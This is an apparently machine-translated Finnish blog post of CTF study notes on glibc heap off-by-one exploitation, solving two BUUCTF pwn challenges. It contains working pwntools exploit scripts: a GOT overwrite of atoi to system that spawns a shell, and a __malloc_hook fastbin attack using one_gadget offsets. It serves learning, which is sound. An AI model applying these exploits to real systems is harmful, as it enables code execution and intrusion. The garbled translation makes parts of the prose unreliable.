Tietoja off-by-one learning

Tietoja yksittäisestä oppimisesta

2024-07-12

Pwn:n perusta on vielä hyvin matala. Talletan vain vähän oppimiskokemustani.
Opintojen edetessä lisätään tietopisteitä ja kysymyksiä.

Tietopisteitä

Loistava oppimateriaali

ZIKH26:n yhteenveto off-opista

Palan pidennys ja päällekkäisyys | ctfwiki

Vähän ymmärrystä

Läheisesti off-by-one-toimintoon liittyy yllä mainittu Chunk Extend ja Overlapping.
Tätä kutsutaan usein "päällekkäisiksi lohkoiksi".
Miksi luoda päällekkäisiä lohkoja?
Jos esimerkiksi haluamme kirjoittaa uudelleen kappaleen otsikkokentät, eli prev_size- ja size-segmentit, emme varmasti voi muuttaa sitä suoraan soveltamalla.
Eräs idea on rakentaa vääränlainen kappale Toinen yksinkertaisempi idea on luoda päällekkäisiä paloja.

esimerkki

[buu] hitcontraining_heapcreator

aihe

Mielestäni tämä kysymys on hyvä esimerkki siitä, kuinka käyttää yksi kerrallaan. Kysymykset eivät ole kovin vaikeita, ja käyttökohteet ovat varsin taitavia.

Pura porsaanreikiä,

Täällä on keinotekoinen off-by-one, ja tähän voidaan kirjoittaa yksi tavu lisää.

Palatakseni aiheiden jakamiseen,
Ensin 0x10-kokoinen osa on varattu tallentamaan tietoja ja sitten osa sisällölle.
Se on hyvin selvää, jos katsot gdb-virheenkorjausta täällä.

Esimerkiksi keon lohkoasettelu I add(0x28,'0'),add(0x10,'1') jälkeen

Voit nähdä, että joka kerta, kun lisäämme, osoitamme ensin kappaleen, joka tallentaa keon lohkotiedot alhaiseen osoitteeseen, ja sitten malloc-kappaleen, joka tallentaa sisältöä.

Sitten huomasin, että editointi- ja esittelytoiminnot on kaikki tehtyKeon lohkon tiedotrakenne "indeksi", niin jos haluamme vuotaa libc:n, voimme laittaa tämän palan pinolohkotiedot *content Kenttä muutetaan tietyn funktion hankitun taulukon osoitteeksi. Esimerkiksi jos tässä kysymyksessä käytetään atoi, niin atoi_addr tulostetaan esityksen aikana.

Tämä koskee samankaltaista tilannetta edellisessä "Little Understanding" -osassa Emme voi suoraan muokata "keon lohkon tiedot" tallentavan kappaleen sisältöä, joten voimme käyttää keon lohkon laajennuksen toteuttamiseen näppärämmin. .

Jos esimerkiksi muokkaamme sitä tällä tavalla, se voi itse asiassa aiheuttaa kasalohkojen laajenemisen ja päällekkäisyyden.

Puhutaanpa erityisestä käytöstä alla.

Ensin meidän on muokattava "tallennuskeon tiedot" -kekolohkoakokoosa.
Tämä vaihe voidaan saavuttaa tämän tietopinon yläpuolella olevan sisältöpinon haavoittuvuuden kautta.
Sitten vapautamme tätä tietokekolohkoa vastaavan kappaleen indeksin.
Tällä hetkellä, täytäntöönpanon delete_heap mukaan

Sekä tietokekolohko että sisältökekolohko ovat ilmaisia, joten pikalaatikoissa on tällä hetkellä kahden kokoisia laatikoita 0x20 ja 0x40.

Tällä hetkellä lisäämme 0x30-lohkon, ja 0x40-pikalaatikkoa käytetään sisältöpinon lohkona ja 0x20-tietopinolohkoa, joten haetaan myös 0x20-boksi.

Tämän kysymyksen avainkohta on setietolohko Vastaavan palan koko ja sisältö määritetään! Siksi vastaavan tietokekolohkon sisältö voidaan ylikirjoittaa edellisessä vaiheessa add(0x30). Tällä tavalla sisältö voidaan muuttaa atoi's got -taulukkoon ja show(1) voi vuotaa libc:n.
Koska chunk1:n sisältöosoite on muuttunut, edit(1) voi muuttaa atoi's got -taulukon sisällön järjestelmään ja lähettää sitten "/bin/shx00" saadakseen shellin.

Tietysti on joitain yksityiskohtia, kuten viimeksi mainittu kokovalinta 0x18 ja 0x28 sekä tarve varata tietopinon sisältö sitä muokattaessa.kokokenttiin (muuten lopullinen muokkaus ei ole tarpeeksi pitkä kirjoitettavaksi puolestasi) ja niin edelleen.

Päättyy:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

Tässä kysymyksessä on itse asiassa toinen avainkohta, ja se oli myös se kohta, josta olin aluksi hämmentynyt. Master ZIKH:n EXP:n alkuperäinen chunk0-lisäys on 0x18. Omassa käytännössäni sen muuttaminen 0x10:ksi tai 0x20:ksi ei toiminut, mutta sen muuttaminen 0x28:ksi toimi.
Vianetsintä havaitsi, että kun se muutetaan arvoiksi 0x10, 0x20, käyttäjätietomme eivät ota käyttöön seuraavaa osaa.prev_size/.

Kun allokoidaan 0x18, 0x28 jne., ptmalloc2-mekanismi käyttää uudelleen next_chunk -segmentin prev_size.

emmm, itse asiassa loppujen lopuksi en ole vieläkään tarpeeksi perehtynyt kasaan. Loppujen lopuksi, kun katsot vain wikin selitystä, siellä on niin monia tietopisteitä ja yksityiskohdat ovat monimutkaisia, mikä tekee muistamisen vaikeaksi. Tietenkin olen törmännyt siihen varsinaisessa taistelussa. Se on paljon parempi, kun olen tehnyt sen itse ja ymmärtänyt sen uudelleen.

[buu] roarctf_2019_easy_pwn

aihe

Kysymyksen virhe on tässä.

Kun a2-a1==10 on if-koossa, eli kun muokkauksella syötetty koko on täsmälleen 10 suurempi kuin lisätty koko, kyseessä on off-by-one.

Likimääräinen jakorakenne

Tai käytä bss-segmenttiä tallentaaksesi kappaleen käytön ja käytön.*content

Voimme silti käyttää off-by-one-toimintoa yhdistettynä 0x?8-koon ominaisuuksiin. Käytä uudelleen prev_size-muotoa väärentämään prev_size ja kokoa käynnistämään edelleenlähetyksen (matala osoite)

Tällä hetkellä voit nähdä, että yhdistämisen käynnistää free(2).

Tällä hetkellä, jos lisäämme (0x80) ja sitten näytämme (1), voimme todella tulostaa main_arena+88:n arvon.

Ymmärtääkseni add(0x80) tässä on jakaa lajittelematon alue niin, että fd-osoitin (main_arena+88) siirretään näytettävään chunk1-segmenttiin.

Tässä vaiheessa libc:n perusosoite on vuotanut.
Seuraavat toiminnot tuntuvat sisältävän paljon päällekkäisiä kasalohkoja, joten katsotaanpa vaiheittaista virheenkorjausta.
Keon asettelu, kun libc vuotaa

add(0x68)

(Leikkaa pala lajittelemattomasta laatikosta)

free(1)
(fastbin 0x70)

edit(2,p64(malloc_hook-0x23))
(Tässä hyödynnämme sitä tosiasiaa, että edellisessä vaiheessa haettu 0x68:n chunk2 on päällekkäin juuri vapautetun kappaleen1 kanssa (chunk1 haettiin alussa))

add(0x68)
(Hakemalla chunk1, se on itse asiassa chunk2)

add(0x68)
(Hae palauttaaksesi fake_chunk osoitteessa malloc_hook-0x23)

Sitten sinun täytyy käyttää realloca pinokehyksen säätämiseen, ja voit saada kuoren.

Sitten pääsen läpi paikallisesti, mutta en etänä.
Kun olen katsonut Master ZIKH's Expiä, minun on käytettävä paikallista
realloc = libcbase + libc.sym['realloc']Vaihda kohtaanrealloc = libcbase + 0x846c0
Sitten sinun on muutettava one_gadgetin arvoa

Näillä kahdella one_gadgetilla on offset, en tiedä miksi tällä hetkellä. Ehkä se liittyy pinon kehyksen säätämiseen. (Opi myöhemmin)

Pelaa paikallinen Exp:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

paikallinen:

Etä:

Yhteenvetona se on vaikeaa.

Teknologian jakaminen